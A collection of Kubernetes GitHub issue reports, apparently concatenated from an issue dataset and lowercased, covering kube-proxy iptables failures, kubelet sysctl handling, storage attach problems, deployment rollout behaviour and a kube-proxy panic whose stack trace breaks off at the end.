--test --test_args=\ --host=https://<api-service-ip>:443 --ginkgo.focus=serviceloadbalancer --num-nodes=2\ \r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : latest master\r - cloud provider or hardware configuration  : virtualbox cluster, ubuntu 16.04.1 host, centos 7 guests\r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  : 3.10.0-514.26.2.el7.x86_64  1 smp tue jul 4 15:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

 \r https://github.com/kubernetes/kubernetes/blob/3234b0f/pkg/kubelet/cm/container_manager_linux.go l333\r \r the kubelet manages a small set of sysctl settings when running on linux. by default the kubelet will set these various sysctls to the constants defined in  k8s.io/kubernetes/pkg/util/sysctl , but it can also be asked to instead error and exit non-zero via the  unintuitively named   --protect-kernel-defaults=true  flag. per the above link a constant  kerneltunablewarn  exists that would cause the kubelet to emit a warning and continue along its way if a sysctl setting did not meet its expectations, but this constant does not appear to be plumbed up to anything.\r \r to give an idea about a use case here, the kubelet sets the  kernel.panic  sysctl to  10 , i.e. sets nodes to restart 10 seconds after a kernel panic. i'm chasing down an issue in my environment that causes nodes to panic. if a node panics once it's likely to panic again after a restart. i'd rather have the node _not_ restart so that an out of band autoremediation process can notice that the kubelet is failing health checks and replace the node. normally i'd do this by setting the  kernel.panic  sysctl to  0 , but i can't do this as the kubelet only offers me two options: let it manage that sysctl, or crash if the sysctl is not what it wants.\r \r the  kerneltunablewarn  constant suggests that someone else felt this should be configurable. i'd be happy to submit a pr to plumb it up to a flag if such a pr would be accepted.

if i have a volume with 3 targets, iscsi volume plugin tries to log in into each target. if it succeeds with at least one target, it mounts the volume.\r \r i experience login timeouts quite frequently when i drain a node with >20 iscsi volumes with 3 paths each - these volumes need to be re-attached to different nodes and  iscsiadm --login  sometimes times out  under such load. in the worst case, two targets for the same device time out and i end up with only one path that's not even part of multipath.\r \r imo, the volume plugin should try several to log in to all targets. or at least wait until it has two paths. it should never mount a single path if multipath was requested.\r \r  @j-griffith @bswartz @rootfs @humblec

what happened  :\r installed a new node  joining existing cluster  with kubernetes v1.13.4 using kubeadm and containerd v1.2.4 as the container runtime. kube-proxy starts but is just repeatedly trying and failing to set up iptables rules. it seems like generated rules are incorrect, see logs down below.\r \r   what you expected to happen  :\r kube-proxy starts normally.\r \r   how to reproduce it  as minimally and precisely as possible   :\r start kube-proxy on debian 10  buster .\r \r   anything else we need to know?  :\r \r <details>\r <summary>kube-proxy log</summary>\r \r    \r > kubectl logs kube-proxy-drnk7\r w0315 17:21:28.436027       1 feature_gate.go:198  setting ga feature gate supportipvsproxymode=true. it will be removed in a future release.\r i0315 17:21:28.615958       1 server_others.go:189  using ipvs proxier.\r w0315 17:21:28.616937       1 proxier.go:381  ipvs scheduler not specified, use rr by default\r i0315 17:21:28.617051       1 server_others.go:216  tearing down inactive rules.\r i0315 17:21:28.676938       1 server.go:483  version: v1.13.4\r i0315 17:21:28.686345       1 conntrack.go:52  setting nf_conntrack_max to 131072\r i0315 17:21:28.686936       1 config.go:102  starting endpoints config controller\r i0315 17:21:28.686947       1 controller_utils.go:1027  waiting for caches to sync for endpoints config controller\r i0315 17:21:28.686969       1 config.go:202  starting service config controller\r i0315 17:21:28.686975       1 controller_utils.go:1027  waiting for caches to sync for service config controller\r i0315 17:21:28.787163       1 controller_utils.go:1034  caches are synced for endpoints config controller\r i0315 17:21:28.787271       1 controller_utils.go:1034  caches are synced for service config controller\r e0315 17:21:28.936603       1 proxier.go:1195  failed to execute iptables-restore: exit status 2  iptables-restore v1.6.0: couldn't load target  kube-mark-drop':no such file or directory\r \r error occurred at line: 14\r try  iptables-restore -h' or 'iptables-restore --help' for more information.\r  \r rules:\r  nat\r :kube-postrouting -  0:0 \r :kube-postrouting -  0:0 \r :kube-postrouting -  0:0 \r :kube-postrouting -  0:0 \r :kube-postrouting -  0:0 \r :kube-postrouting -  0:0 \r -a kube-postrouting -m comment --comment \ kubernetes service traffic requiring snat\  -m mark --mark 0x00004000/0x00004000 -j masquerade\r -a kube-mark-masq -j mark --set-xmark 0x00004000/0x00004000\r -a kube-node-port -p tcp -m comment --comment \ kubernetes nodeport tcp port for masquerade purpose\  -m set --match-set kube-node-port-tcp dst -j kube-mark-masq\r -a kube-services -m comment --comment \ kubernetes service cluster ip + port for masquerade purpose\  -m set --match-set kube-cluster-ip dst,dst ! -s 10.244.0.0/16 -j kube-mark-masq\r -a kube-services -m addrtype --dst-type local -j kube-node-port\r -a kube-load-balancer -j kube-mark-masq\r -a kube-firewall -j kube-mark-drop\r -a kube-services -m set --match-set kube-cluster-ip dst,dst -j accept\r commit\r  filter\r :kube-forward -  0:0 \r -a kube-forward -m comment --comment \ kubernetes forwarding rules\  -m mark --mark 0x00004000/0x00004000 -j accept\r -a kube-forward -s 10.244.0.0/16 -m comment --comment \ kubernetes forwarding conntrack pod source rule\  -m conntrack --ctstate related,established -j accept\r -a kube-forward -m comment --comment \ kubernetes forwarding conntrack pod destination rule\  -d 10.244.0.0/16 -m conntrack --ctstate related,established -j accept\r commit\r e0315 17:21:57.908456       1 proxier.go:1195  failed to execute iptables-restore: exit status 2  iptables-restore v1.6.0: couldn't load target  kube-mark-drop':no such file or directory\r \r error occurred at line: 14\r try  iptables-restore -h' or 'iptables-restore --help' for more information.\r  \r rules:\r  nat\r :kube-services -  0:0 \r :kube-postrouting -  0:0 \r :kube-firewall -  0:0 \r :kube-node-port -  0:0 \r :kube-load-balancer -  0:0 \r :kube-mark-masq -  0:0 \r -a kube-postrouting -m comment --comment \ kubernetes service traffic requiring snat\  -m mark --mark 0x00004000/0x00004000 -j masquerade\r -a kube-mark-masq -j mark --set-xmark 0x00004000/0x00004000\r -a kube-node-port -p tcp -m comment --comment \ kubernetes nodeport tcp port for masquerade purpose\  -m set --match-set kube-node-port-tcp dst -j kube-mark-masq\r -a kube-services -m comment --comment \ kubernetes service cluster ip + port for masquerade purpose\  -m set --match-set kube-cluster-ip dst,dst ! -s 10.244.0.0/16 -j kube-mark-masq\r -a kube-services -m addrtype --dst-type local -j kube-node-port\r -a kube-load-balancer -j kube-mark-masq\r -a kube-firewall -j kube-mark-drop\r -a kube-services -m set --match-set kube-cluster-ip dst,dst -j accept\r commit\r  filter\r :kube-forward -  0:0 \r -a kube-forward -m comment --comment \ kubernetes forwarding rules\  -m mark --mark 0x00004000/0x00004000 -j accept\r -a kube-forward -s 10.244.0.0/16 -m comment --comment \ kubernetes forwarding conntrack pod source rule\  -m conntrack --ctstate related,established -j accept\r -a kube-forward -m comment --comment \ kubernetes forwarding conntrack pod destination rule\  -d 10.244.0.0/16 -m conntrack --ctstate related,established -j accept\r commit\r .. snip, repeated failure follows .. \r    \r </details>\r \r might be related to  71305; debian buster comes with iptables 1.8.2.\r \r   environment  :\r - kubernetes version: v1.13.4\r - cloud provider or hardware configuration: vmware vsphere\r - os: debian 10  buster \r - kernel:  linux 4.19.0-2-amd64  1 smp debian 4.19.16-1  2019-01-17  x86_64 gnu/linux \r - install tools: kubeadm\r - others: containerd v1.2.4\r \r 

dockertools/manager.go: podifracontainerchanged   checks if the pod is asking for hostnetwork and docker is not currently using it, but not the other way around.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-garbagecollector-gci-feature/27/  failed:  k8s.io  garbage collector  feature:garbagecollector  should delete pods created by rc when not orphaning {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/garbage_collector.go:169 oct  3 22:42:03.973: failed to wait for all pods to be deleted: timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/garbage_collector.go:160

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r i try to generate a daemonset and nothing appear\r \r   what you expected to happen  :\r to see the creation of 1 pod, at least ...\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t10:09:24z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t09:42:01z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r hardware\r - os  e.g. from /etc/os-release :\r docker community edition\r version 18.03.0-ce-rc4-mac57  23360 \r \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r i have try to lauch a daemonset with:\r kubectl apply -f fluentd.yaml\r \r => fluentd.yaml is:\r    yaml\r apiversion: extensions/v1beta1\r kind: daemonset\r metadata:\r   name: fluentd\r   namespace: kube-system\r   labels:\r     app: fluentd\r spec:\r   template:\r     metadata:\r       labels:\r         app: fluentd\r     spec:\r       containers:\r       - name: fluentd\r         image: fluent/fluentd:v0.14.10\r         resources:\r           limits:\r             memory: 200mi\r           requests:\r             cpu: 100m\r             memory: 200mi\r         volumemounts:\r         - name: varlog\r           mountpath: /var/log\r         - name: varlibdockercontainers\r           mountpath: /var/lib/docker/containers\r           readonly: true\r       terminationgraceperiodseconds: 30\r       volumes:\r       - name: varlog\r         hostpath:\r           path: /var/log\r       - name: varlibdockercontainers\r         hostpath:\r           path: /var/lib/docker/containers\r    \r \r and:\r kubectl describe daemonset fluentd                                                                   \r error from server  notfound : daemonsets.extensions \ fluentd\  not found\r \r any idea what is happening?\r

what happened  :\r i was editing my deployments and adding pod anti-affinity section as well as additional env var to dozens of my deployments files and recently found that sometimes when i apply new deployments, kubernetes terminates all of the pods in replicaset of the deployment even tho i have\r    \r   strategy:\r     rollingupdate:\r       maxsurge: 1\r       maxunavailable: 1\r     type: rollingupdate\r    \r \r right now i was able to reproduce this only with replicasets of 2 replicas. so, both pods in replicaset is being terminated resulting in application downtime.\r \r   what you expected to happen  :\r kubernetes should have terminate one pod, launch new replicaset, wait at least one pod of new replicaset is ready and then terminate another pod.\r \r   how to reproduce it  as minimally and precisely as possible   :\r here's deployment i have for this application:\r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: appname\r   labels:\r     name: appname\r \r spec:\r   revisionhistorylimit: 5\r   strategy:\r     rollingupdate:\r       maxsurge: 1\r       maxunavailable: 1\r     type: rollingupdate\r \r   template:\r     metadata:\r       labels:\r         name: appname\r         servicevendor: example\r \r     spec:\r       affinity:\r         podantiaffinity:\r           preferredduringschedulingignoredduringexecution:\r           - weight: 100\r             podaffinityterm:\r               labelselector:\r                 matchexpressions:\r                 - key: name\r                   operator: in\r                   values:\r                   - appname\r               topologykey: kubernetes.io/hostname\r       containers:\r       - image:  gitlab.example.com:4567/example/artifacts/appname:26.5-33782-g57cedf2613a\r         name: appname\r         imagepullpolicy: ifnotpresent\r \r           limits\r         resources:\r           requests:\r             cpu: \ 100m\ \r             memory: \ 400m\ \r \r           limits:\r             cpu: \ 500m\ \r             memory: \ 500m\ \r \r           wait for version\r         livenessprobe:\r           httpget:\r             path: /self-test\r             port: 9046\r             scheme: https\r           initialdelayseconds: 300\r           periodseconds: 10\r           timeoutseconds: 60\r           successthreshold: 1\r           failurethreshold: 12\r \r           wait for self-test\r         readinessprobe:\r           httpget:\r             path: /self-test\r             port: 9046\r             scheme: https\r           initialdelayseconds: 10\r           periodseconds: 3\r           timeoutseconds: 60\r           successthreshold: 1\r \r           environment variables\r         env:\r         - name:  restart_\r           value:  \ 1541077075\ \r \r           service_max_mem is used by startup script to set xmx\r         - name:  service_max_mem\r           value:  200m\r \r         - name: example_hive\r           value: us-vir1\r \r         - name: container_cpu_limit\r           valuefrom:\r             resourcefieldref:\r               divisor: 1m\r               resource: limits.cpu\r \r         - name: container_mem_limit\r           valuefrom:\r             resourcefieldref:\r               divisor: 1m\r               resource: limits.memory\r \r           exposed ports\r         ports:\r         - containerport: 9046\r           name: appname\r \r           volumes\r         volumemounts:\r         - mountpath: /opt/service-conf\r           name: config-data\r \r         - mountpath: /opt/service-conf/appname.keystore\r           name: appname-keystore\r           subpath: data\r \r         - mountpath: /opt/appname/logs\r           name: example-logs\r \r                                               \r         log delivery side-car\r                                               \r       - image: gitlab.example.com:4567/ops/overmind/nydus:latest\r         name:  nydus\r         imagepullpolicy: always\r \r         resources:\r           requests:\r             cpu: \ 10m\ \r             memory: \ 100m\ \r \r           volumes\r         volumemounts:\r         - mountpath: /example_logs\r           name: example-logs\r \r         - mountpath: /etc/syslog-ng/additional\r           name: syslog-ng-conf-dir\r \r                                               \r         init containers\r                                               \r       initcontainers:\r       - name: infestor\r         image: gitlab.example.com:4567/ops/overmind/infestor:stable\r         imagepullpolicy: always\r \r           environment variables\r         env:\r         - name: example_infestor_properties_secret_file_path\r           value: /opt/service-conf/properties-secret/data\r \r         - name: example_infestor_syslog_conf_dir\r           value: /syslog-ng_conf\r \r         - name: example_infestor_consul_host\r           value: consul0.example.com\r \r         resources:\r           requests:\r             cpu: \ 20m\ \r             memory: \ 300m\ \r \r         volumemounts:\r         - mountpath: /opt/service-conf\r           name: config-data\r \r         - mountpath: /opt/service-conf/properties-secret\r           name: appname-properties\r \r         - mountpath: /syslog-ng_conf\r           name: syslog-ng-conf-dir\r \r         volumes\r       volumes:\r       - name: config-data\r         emptydir: {}\r \r       - name: example-logs\r         emptydir: {}\r \r       - name: syslog-ng-conf-dir\r         emptydir: {}\r \r       - name: appname-keystore\r         secret:\r           secretname: star.example.com.keystore\r \r       - name: appname-properties\r         secret:\r           secretname: appname-properties\r \r       - name: s3up-properties\r         secret:\r           secretname: s3up-properties\r \r       restartpolicy: always\r \r       imagepullsecrets:\r         - name: gitlab-example-com-registry-secret\r    \r what i was doing in adding these two sections to deployment:\r    \r       affinity:\r         podantiaffinity:\r           preferredduringschedulingignoredduringexecution:\r           - weight: 100\r             podaffinityterm:\r               labelselector:\r                 matchexpressions:\r                 - key: name\r                   operator: in\r                   values:\r                   - appname\r               topologykey: kubernetes.io/hostname\r    \r and this\r    \r         - name:  restart_\r           value:  \ 1541077075\ \r    \r \r and applying it with:\r    \r kubectl apply -f file.yaml\r    \r \r   anything else we need to know?  :\r one thing i've noticed that one of the pods had status:\r    \r status:                    terminating  lasts <invalid> \r    \r while another had \r    \r status:                    terminating  lasts 0s \r    \r i've checked kubelet logs and it looks like second pod was terminated ~200 ms after another:\r    \r nov  1 19:09:55 ip-172-16-1-136 kubelet 1183 : i1101 19:09:55.059725    1183 kubelet.go:1877  syncloop  delete, \ api\  : \ appname-75456b5c5-r6z7v_default 3e9d25b4-ddf1-11e8-9bac-06e356fdade4 \ \r    \r \r    \r nov  1 19:09:55 ip-172-16-0-140 kubelet 1210 : i1101 19:09:55.208422    1210 kubelet.go:1877  syncloop  delete, \ api\  : \ appname-75456b5c5-7nrlw_default 3eab1d3e-ddf1-11e8-9bac-06e356fdade4 \ \r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-10t11:44:36z\ , goversion:\ go1.11\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:05:37z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r aws ec2. \r i have ~160 pods across 8 m4.large nodes\r \r - os  e.g. from /etc/os-release :\r    \r root@ip-172-16-1-136:~  cat /etc/os-release\r pretty_name=\ debian gnu/linux 8  jessie \ \r name=\ debian gnu/linux\ \r version_id=\ 8\ \r version=\ 8  jessie \ \r id=debian\r home_url=\ http://www.debian.org/\ \r support_url=\ http://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r    \r \r - kernel  e.g.  uname -a  :\r    \r root@ip-172-16-1-136:~  uname -a\r linux ip-172-16-1-136 4.4.121-k8s  1 smp sun mar 11 19:39:47 utc 2018 x86_64 gnu/linux\r    \r \r - install tools:\r kops\r version 1.10.0\r \r - others:\r none\r \r 

we should  deprecate existing hardcoded cloudprovider specific volume limit predicates in favour of volume limits coming from csi and node. \r \r we can replace all of the three predicates with csi predicate. but that needs to take into account migration path for in-tree volumes.\r \r   \r

commits 38b7f2125fa and 7e2aa46f64a on master via prs  77985  and  77910 have broken macos 'make' again:\r \r    \r github.com/kubernetes/kubernetes/hack/lib/golang.sh: line 166: declare: -g: invalid option\r declare: usage: declare  -affirtx   -p   name =value  ... \r !!!  0517 10:55:19  call tree:\r !!!  0517 10:55:19   1: /users/tpepper/src/github.com/kubernetes/kubernetes/hack/lib/init.sh:55 source ... \r !!!  0517 10:55:19   2: build/../build/common.sh:37 source ... \r !!!  0517 10:55:19   3: build/release.sh:29 source ... \r make:      quick-release  error 1\r    \r \r where \ macos\  is a non-homebrew extended macos with old old bash.\r \r this is also reported on other older platforms like centos.\r \r master needs fixed with a new commit, then the above prs and  77362 and the new fix need cherry picked to 1.14 as 1.14.2 is currently not buildable as  76974 is cherry picked there.\r \r :bash_fire\

right now cri-tools only include tarballs for linux \r https://github.com/kubernetes/kubernetes/blob/c85c0e4780e428fdfb33debc31bc88f8095e5831/build/workspace.bzl l29-l36\r \r /cc @feiskyer @random-liu \r /cc @pjh

it's not possible to define a container with an environment variable containing dash. for example:      yaml ... containers:         - name: my-name           image: gcr.io/id/name:v1           ports:             - containerport: 8080           env:             - name: something_with-dash               value: something ...      yields the following error:      bash the replicationcontroller \ rc-name\  is invalid:spec.template.spec.containers 0 .env 0 .name: invalid value 'something_with-dash': must be a c identifier  matching regex  a-za-z_  a-za-z0-9_   : e.g. \ my_name\  or \ myname\       so why is this needed?   i'm trying to deploy an existing  spring boot  http://projects.spring.io/spring-boot/  java application running inside a docker container. spring boot allows you to inject configuration using this approach:      java @value \ ${something.with-dash}\   private string mysomething;      spring boot allows you to  externalize the configuration  http://docs.spring.io/spring-boot/docs/current/reference/html/boot-features-external-config.html  in various different ways. for example it maps environment variables like this:  > if you use environment variables rather than system properties, most operating systems disallow period-separated key names, but you can use underscores instead  e.g. spring_config_name instead of spring.config.name .  so in this case i need to use an environment variable called  something_with-dash  in order for spring to pick it up and map it to  something.with-dash .   this works when using tools like  docker compose  https://docs.docker.com/compose/ . in bash it works when you do like this:      bash env 'something_with-dash=something' myprogram      it's even more common when using clojure and the popular  environ  https://github.com/weavejester/environ  library that deals with properties. since clojure uses lisp syntax it's very common to name keys using dashes.  without support for this it'll be harder for me  and presumably others  to sell kubernetes to my company since we have to make code changes in several projects/services.  i'm using kubernetes 1.0.6 on google container engine.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r no.\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r digital ocean, digitalocean\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r feature request.\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r v1.5.1\r \r   environment  :\r -   cloud provider or hardware configuration  : digital ocean \r -   os    e.g. from /etc/os-release : coreos 1185.5.0  moreos \r -   kernel    e.g.  uname -a  : 4.7.3-coreos-r3\r -   install tools  : manual\r -   others  : flocker v1.15.0\r \r   what happened  :\r \r seems that now there is no way to use digital ocean block storage as persistent volumes in k8s  cloud provider doesn't exist in  pkg/cloudprovider/providers  . tried it in conjunction with flocker  with  this dataset plugin  https://github.com/ngrewe/digitalocean_flocker_plugin   and got:\r \r  output: mount: special device /flocker/b3beb5d6-0919-47b4-9a05-1f6d9b45eb3c does not exist .\r \r   what you expected to happen  :\r \r successful mount of volume.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r install flocker as per their manual, install digital ocean plugin, then try k8s flocker-web demo application.\r \r   anything else do we need to know  :\r \r i searched issues and found  34783, but it focuses on cluster initial install rather than storage support.

using ebs volumes is way too unstable on k8s aws deployments, we've been using kubernetes since version 1.2, now running a 1.5.2 cluster and the problems have always been there and never solved.\r 80% of the time i need to delete a pod under a replication controller or deployment that have a pvc linked it, it does not work, the problem varies, sometimes i saw this same message:\r \r    \r i0213 16:49:05.844132       6 aws.go:1366  waiting for volume \ vol-a60ecccc\  state: actual=attaching, desired=attached\r    \r \r repeatedly for hours and some other times this another messages:\r \r    \r i0213 16:49:05.844132       6 aws.go:1366  waiting for volume \ vol-a60e9901\  state: actual=detached, desired=attached\r    \r \r also for hours. the problem is only solved by deleting the pods several times, attaching and detaching the ebs manually through aws console several times, till it decides to work.\r \r the problem is so recurrent that we've now started to use efs through nfs when we need persistent storage.\r \r i hope this gets fixed in future releases of kubernetes because it is disencouraging our team to run some applications that needs persistent volumes under k8s.

is this a request for help?  : no\r   what keywords did you search in kubernetes issues before filing this one?  : disruption servicecontroller\r \r ---\r   is this a bug report or feature request?    choose one : bug report\r   kubernetes version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t22:51:55z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2+coreos.2\ , gitcommit:\ a94d2e8a306048aa45b3b60635ab44b0f3b25cd1\ , gittreestate:\ clean\ , builddate:\ 2017-02-04t02:14:31z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : coreos container linux 1235.9.0\r -   kernel    e.g.  uname -a  : 4.7.3-coreos-r2\r -   install tools  : custom cloudformation\r -   others  : api running behind an aws elb.\r \r   what happened  :\r during an aws scaling event on the elb fronting our apiserver, we experienced  41916 and, for 15 minutes, kubelets were unable to send updated statuses to the apiserver. consequently, all nodes flipped to status nodenotready. we saw the following in the apiserver log:\r \r    \r apr 22 22:58:01 dockerd 4484 : i0422 22:58:01.335610       1 nodecontroller.go:569  nodecontroller detected that all nodes are not-ready. entering master disruption mode.\r apr 22 22:58:03 dockerd 4484 : i0422 22:58:03.018588       1 servicecontroller.go:640  detected change in list of current cluster nodes. new node set:   \r apr 22 22:58:11 dockerd 4484 : i0422 22:58:11.115853       1 servicecontroller.go:648  successfully updated 66 out of 66 load balancers to direct traffic to the updated set of nodes\r    \r \r all nodes were removed from all external load balancers, and the region became unavailable to customer traffic.\r \r when the half-closed kubelet connections to the apiserver load balancer timed out after 15 minutes, all nodes were marked healthy, re-added to their external load balancers, and the cluster recovered.  see  41916 for more details about the underlying issue. \r \r   what you expected to happen  :\r when nodecontroller handledisruption   detects full master disruption, servicecontroller nodesyncloop   should not apply node set changes to external load balancers via updateloadbalancerhosts  .\r \r   how to reproduce it    as minimally and precisely as possible :\r create a cluster containing one node and one loadbalancer service.  if the master node is schedulable, this can be done with a single machine.  connect the kubelet to the apiserver through a debugging tool like  toxiproxy  and force the connection to time out. the apiserver will mark the node as nodenotready, nodecontroller will enter full master disruption mode, and servicecontroller will remove the node from the external load balancer - even though the pod is still available to take load and the nodeport is still routing traffic to it. \r \r   anything else we need to know  :\r we're working to address the upstream problem in  41916, but i think that's only one mechanism by which this behavior could be triggered.

there is a bug around k8s use of docker distribution that's trickling into helm development.\r \r _&tldr;_ k8s uses revision _cd27f179f2c10c5d300e6d09025b538c475b0d51_ of github.com/docker/distribution  a commit between releases . when helm development scripts try to install this package on windows it runs into the bug https://github.com/docker/distribution/issues/1690 that has already been fixed. a simple fix could be to use a newer version of docker distribution... possibly a release version rather than in development commit.\r \r for details on helm see https://github.com/kubernetes/helm/issues/2396\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release : windows 10\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r an error occurred when installing helm dependencies. it was trying to install a dependency of k8s to the version k8s uses. the error can be seen at https://github.com/kubernetes/helm/issues/2396\r \r   what you expected to happen  :\r installing helm dependencies to work without error.\r \r \r   how to reproduce it    as minimally and precisely as possible :\r on microsoft windows under windows  not a linux vm or windows linux subsystem  checkout helm, install glide, and run  glide install --strip-vendor .\r \r \r   anything else we need to know  :\r updating to a newer revision of docker distribution in k8s will enable helm to do the same which will fix the issue.\r

   what happened  :\r \r same as in https://github.com/rancher/rancher/issues/8491 , i'm experiencing the following when starting kubelet:\r \r    \r i0823 10:18:54.292916    5842 kubelet.go:1820  skipping pod synchronization -  failed to start containermanager mkdir /sys/fs/cgroup/cpuacct,cpu: read-only file system container runtime is down pleg is not healthy: pleg was last seen active 2562047h47m16.854775807s ago; threshold is 3m0s \r i0823 10:18:59.293100    5842 kubelet.go:1820  skipping pod synchronization -  failed to start containermanager mkdir /sys/fs/cgroup/cpuacct,cpu: read-only file system \r i0823 10:19:04.293902    5842 kubelet.go:1820  skipping pod synchronization -  failed to start containermanager mkdir /sys/fs/cgroup/cpuacct,cpu: read-only file system \r    \r \r \r   what you expected to happen  :\r start kubelet normally\r \r   how to reproduce it  as minimally and precisely as possible   :\r rhel/centos with selinux on it\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.3\r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release : centos 7.3\r - kernel  e.g.  uname -a  : 3.10.0-514.26.2.el7.x86_64  1 smp tue jul 4 15:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: docker version:      17.05.0-ce\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r upgrading k8s to latest version, but keep the data in etcd, especially the services which session affinity type is clientip. then kube-proxy panic because of service sessionaffinityconfig is nil.\r \r \r \r \r \r   what you expected to happen  :\r \r backward compatible with latency services.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r for example,\r \r    \r ╰─k8s.io/kubernetes> k get service kubernetes -o json\r {\r     \ apiversion\ : \ v1\ ,\r     \ kind\ : \ service\ ,\r     \ metadata\ : {\r         \ creationtimestamp\ : \ 2017-06-28t16:05:11z\ ,\r         \ labels\ : {\r             \ component\ : \ apiserver\ ,\r             \ provider\ : \ kubernetes\ \r         },\r         \ name\ : \ kubernetes\ ,\r         \ namespace\ : \ default\ ,\r         \ resourceversion\ : \ 6\ ,\r         \ selflink\ : \ /api/v1/namespaces/default/services/kubernetes\ ,\r         \ uid\ : \ 909a1c62-5c1b-11e7-8a60-4ccc6ab9973d\ \r     },\r     \ spec\ : {\r         \ clusterip\ : \ 10.254.0.1\ ,\r         \ ports\ :  \r             {\r                 \ name\ : \ https\ ,\r                 \ port\ : 443,\r                 \ protocol\ : \ tcp\ ,\r                 \ targetport\ : 6443\r             }\r          ,\r         \ sessionaffinity\ : \ clientip\ ,\r         \ type\ : \ clusterip\ \r     },\r     \ status\ : {\r         \ loadbalancer\ : {}\r     }\r }\r    \r \r see error logs:\r \r /data/go/src/runtime/asm_amd64.s:2197\r panic: runtime error: invalid memory address or nil pointer dereference  recovered \r         panic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x0 pc=0x1616744 \r \r goroutine 48  running :\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime.handlecrash 0x0, 0x0, 0x0 \r         /home/shared/go_projects/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:58 +0x126\r panic 0x18b5200, 0x2610290 \r         /data/go/src/runtime/panic.go:489 +0x2cf\r k8s.io/kubernetes/pkg/proxy/iptables.newserviceinfo 0xc4203bc7f0, 0x7, 0xc4203bc7e0, 0xa, 0xc4203bc82a, 0x5, 0xc42075c730, 0xc4203805a0, 0x9eb318c987fc4ed7 \r         /home/shared/go_projects/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/proxy/iptables/proxier.go:199 +0x9d4\r k8s.io/kubernetes/pkg/proxy/iptables.servicetoservicemap 0xc4203805a0, 0xc4206e2060 \r         